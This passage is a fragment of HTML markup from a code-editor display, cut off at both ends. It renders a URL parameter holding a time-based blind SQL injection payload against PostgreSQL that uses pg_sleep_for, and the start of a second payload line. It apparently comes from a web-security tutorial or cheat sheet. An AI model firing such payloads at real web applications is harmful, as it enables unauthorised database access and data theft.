n"><span role="presentation" style="padding-right: 0.1px;"><span class="">?</span><span class="">id</span><span class="">=</span><span class="cm-variable">a</span><span class="">'and (select pg_sleep_for('</span><span class="">5</span> <span class="cm-variable">sec</span><span class="">'))=1</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="">?</span><span class="">id</span><span class="">=</span><span class="cm-variabl